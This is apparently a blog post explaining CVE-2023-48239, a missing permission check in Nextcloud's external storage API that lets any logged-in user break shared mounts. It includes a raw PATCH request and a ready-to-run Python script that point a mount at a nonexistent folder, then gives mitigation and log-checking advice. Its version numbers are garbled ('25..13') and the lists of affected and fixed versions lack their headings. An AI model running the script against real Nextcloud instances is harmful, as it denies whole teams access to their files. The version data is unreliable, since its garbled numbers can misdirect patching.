Nextcloud Server is a popular self-hosted, open-source cloud solution, used around the world for storing data, sharing files, and syncing documents with teams. But recently, a serious vulnerability was found. Known as CVE-2023-48239, this bug let any user mess up shared storage areas so that nobody else could use them—even admins! Let’s break down what this means, see how an attack could work, and what you need to do to stay safe.

What is CVE-2023-48239 All About?

If you use Nextcloud’s “external storage” feature (for things like connecting Google Drive, SFTP, Dropbox, or NAS shares), you let users and groups access folders and files stored outside your Nextcloud’s local server. This is super useful for businesses and big teams…but also risky.

Because of this vulnerability, any user (even those with limited permissions) could tamper with the configuration for an external storage mount point—making it completely unavailable not just for themselves, but for everyone else who used it. This applies to both personal and shared (global) external storage mounts.

Nextcloud Server: From 25.. up to (not including) 25..13, 26..8, and 27.1.3

- Nextcloud Enterprise Server: From 20.. up to (not including) 20..14.16, 21..9.13, 22.2.10.15, 23..12.12, 24..12.8, 25..13, 26..8, 27.1.3

Nextcloud Server: 25..13, 26..8, 27.1.3

- Nextcloud Enterprise Server: 20..14.16, 21..9.13, 22.2.10.15, 23..12.12, 24..12.8, 25..13, 26..8, 27.1.3

Official advisory:
- GitHub Security Advisory: CVE-2023-48239
- Nextcloud HackerOne Report

How Does the CVE-2023-48239 Exploit Work?

In simple terms:
There was a missing permission check in the API where users update external storage configurations. This means any “authenticated user” (not just admins) could send an update request and change *any* external storage config—including global ones used by groups or the whole server.

By tweaking these settings, the malicious user could render the mount useless to all users. For instance, modifying a required field like the “root” or the authentication details would cause everyone to get errors when trying to access it.

A Simple Example of the Attack

Let’s say you have a shared SFTP storage in your Nextcloud server with an ID of 5, accessible by the entire staff.

A normal user (let’s call her Mallory) shouldn’t be able to touch it. But, thanks to CVE-2023-48239, she *can*. She just needs to craft a simple HTTP PATCH request.

Example Attack Request

Suppose the Nextcloud instance is at https://cloud.example.com. The external storage with ID 5 is being targeted.

PATCH /ocs/v2.php/apps/files_external/api/v1/mounts/5?format=json
OCS-APIRequest: true
Authorization: Bearer <mallorys_auth_token>

{
  "configuration": {
    "root": "/nonexistent/folder"
  }
}

This will break the mount for everyone else. After this change, the storage location points to folder that doesn’t exist, and all users (not just Mallory) will get errors when accessing it—effectively locking everyone out.

Here’s a snippet using requests in Python

import requests

instance_url = "https://cloud.example.com"
mount_id = 5
user_token = "mallorys_auth_token"

headers = {
    "OCS-APIRequest": "true",
    "Authorization": f"Bearer {user_token}",
    "Content-Type": "application/json"
}

payload = {
    "configuration": {
        "root": "/pwned"
    }
}

url = f"{instance_url}/ocs/v2.php/apps/files_external/api/v1/mounts/{mount_id}?format=json"

resp = requests.patch(url, headers=headers, json=payload)
print("Status code:", resp.status_code)
print("Response:", resp.text)

After this, the external storage is broken for everyone.

What’s the Impact?

- Loss of access: All users lose access to the target external storage, possibly affecting business work or cloud backups.
- Possible loss of configuration: If admins try to “fix” it, misconfiguration might even delete the mount point.

Dos (Denial of Service): Essentially, one user can take down shared storage for all.

This is a big problem for teams, schools, and companies using Nextcloud’s files_external app to centralize resources.

Nextcloud Server: 25..13, 26..8, or 27.1.3

- Nextcloud Enterprise: 20..14.16 or newer (see advisory for full list)

Disable the files_external app (as root/admin)

occ app:disable files_external

This will make the external storages inaccessible for now, but your mount configs are preserved, so you can safely re-enable after upgrading and patching.

3. Check your logs:

Look for suspicious PATCH requests to the /ocs/v2.php/apps/files_external/... path, especially from non-admin users.

Original References

- Nextcloud Public Security Advisory GHSA-2qvm-99vf-hpxh
- NVD CVE Detail: CVE-2023-48239
- Nextcloud HackerOne Report #2198587
- Mitigation Announcement (Nextcloud Changelog)

Summary

CVE-2023-48239 is a dangerous bug for any Nextcloud admin using external storage. Any regular user could break shared folders for the whole team. If you manage Nextcloud, upgrade now—even if you don’t think anyone’s tried this exploit yet. And if you can’t patch, disable external storage for now.

Stay safe, and always keep your cloud up to date!

Got questions?
Check the Nextcloud security advisories, or join the Nextcloud community forums for support.

Timeline

Published on: 11/21/2023 21:15:08 UTC
Last modified on: 11/29/2023 02:32:23 UTC